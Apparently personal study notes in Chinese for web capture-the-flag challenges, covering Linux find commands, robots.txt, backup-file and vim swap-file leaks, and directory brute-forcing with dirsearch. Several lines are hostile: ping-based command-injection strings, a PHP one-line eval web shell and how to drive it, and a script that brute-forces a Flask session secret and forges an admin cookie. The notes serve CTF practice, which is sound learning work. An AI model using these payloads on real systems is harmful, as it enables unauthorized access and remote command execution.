[TOC]
linux命令
env # 环境变量
find <路径> -name <文件名>
find . -name "example.txt"
find /var/log -name "*.log"
find . -iname "example.txt" # 忽略大小写
find /home/user -name "*.txt" -o -name "*.md" # -o就是或
find . -name "*.tmp" -exec rm {} \; # 删除所有 .tmp 文件
直接查看
源码,cookie
robots协议-URL后加robots.txt
robots协议(Robots Exclusion Protocol),也称为爬虫排除标准或robots.txt协议,是一种网站通过其根目录下的robots.txt
文件来告诉网络爬虫(搜索引擎的自动访问程序)哪些页面可以抓取,哪些页面不可以抓取的协议。这个协议由网站管理员设置,以控制搜索引擎如何索引他们的网站。
robots.txt
文件通常位于网站的根目录下,例如:http://www.example.com/robots.txt
。这个文件包含了一系列的规则,这些规则指定了哪些爬虫可以访问网站的哪些部分。这些规则通常包括:
User-agent
:指定规则适用于哪个爬虫。例如,Googlebot
是Google搜索引擎的爬虫。Disallow
:指定不允许爬虫访问的路径。例如,Disallow: /private/
表示不允许爬虫访问/private/
目录下的所有页面。Allow
:指定允许爬虫访问的路径。通常与Disallow
一起使用,以提供更具体的访问控制。Crawl-delay
:指定爬虫在请求下一个页面之前应该等待的时间(以秒为单位)。Sitemap
:指定网站地图的URL,网站地图是一个列出了网站所有重要页面的文件,方便爬虫发现和索引。
robots协议是一个君子协议,它依赖于爬虫开发者遵守这些规则。虽然大多数主流搜索引擎都会遵守这个协议,但并不是所有爬虫都会这么做。此外,robots协议并不能阻止恶意用户直接访问网站内容,它只能限制爬虫的行为。
备份文件-暴力破解
https://github.com/maurosoria/dirsearch 功能:Web 路径暴力破解器 常见的备份文件后缀名有: .git .svn .swp .svn .~ .bak .bash_history
python dirsearch.py -u http://61.147.171.105:51018 -e *
爆破-字典
https://github.com/rootphantomer/Blasting_dictionary
修改请求头xff,referer,Client-ip,user-agent,via
命令的拼接
linux中,
ping 127.0.0.1|ls
ping 127.0.0.1;ls
php类型比较
https://www.php.net/manual/zh/types.comparisons.php
PHP语法
https://www.runoob.com/php/php-echo-print.html
https://www.cnblogs.com/gxngxngxn/p/17410173.html
system("cat /flag");
PING命令 RCE-前端禁用&命令执行
方法一:JS禁用。在Firefox地址栏里输入“about:config”。 在搜索栏输入“javascript.enabled”查找到首选项。 点击鼠标右键选择“切换”,把“javascript.enabled”键值改为“false” 方法二:JS Hook。控制台清空check_ip = function(){} 方法三:直接发包。
sql注入
hackbar爆数据库、表名、列名
文件上传
一句话木马
<?php @eval($_POST[cmd]); ?>
上传之后只要通过post传入cmd=system(“ls /”);等
vim
第一次意外退出产生的备份文件名为:.filename.swp
第二次意外退出产生的备份文件名为:.filename.swo
第三次意外退出产生的备份文件名为:.filename.swn
---------------------------------------------
当vim在编辑文档的过程中如果异常退出,则会产生缓存文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn。
访问.index.php.swp可以得到index.php源码关键字段。
凭证伪造
pip3 install flask-unsign[wordlist]
假设有字典pass.txt,指定字典爆破:
$ flask-unsign --unsign --cookie "eyJuYW1lIjoiMSJ9.ZF_Bhw.mawKGPKlVL8_XkcZE2bcVHe6pOE" -w .\pass.txt --no-literal-eval
[*] Session decodes to: {'name': '1'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 2 attempts
b'LitCTF'
import requests
import string
import subprocess
SECRET_KEY = "LitCTF"
cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{\'name\': \'admin\'}', '--secret', SECRET_KEY])
cookie = {'session' : cmd_out.decode().rstrip()}
response = requests.get('http://node5.anna.nssctf.cn:28403/flag', cookies=cookie)
print(response.text)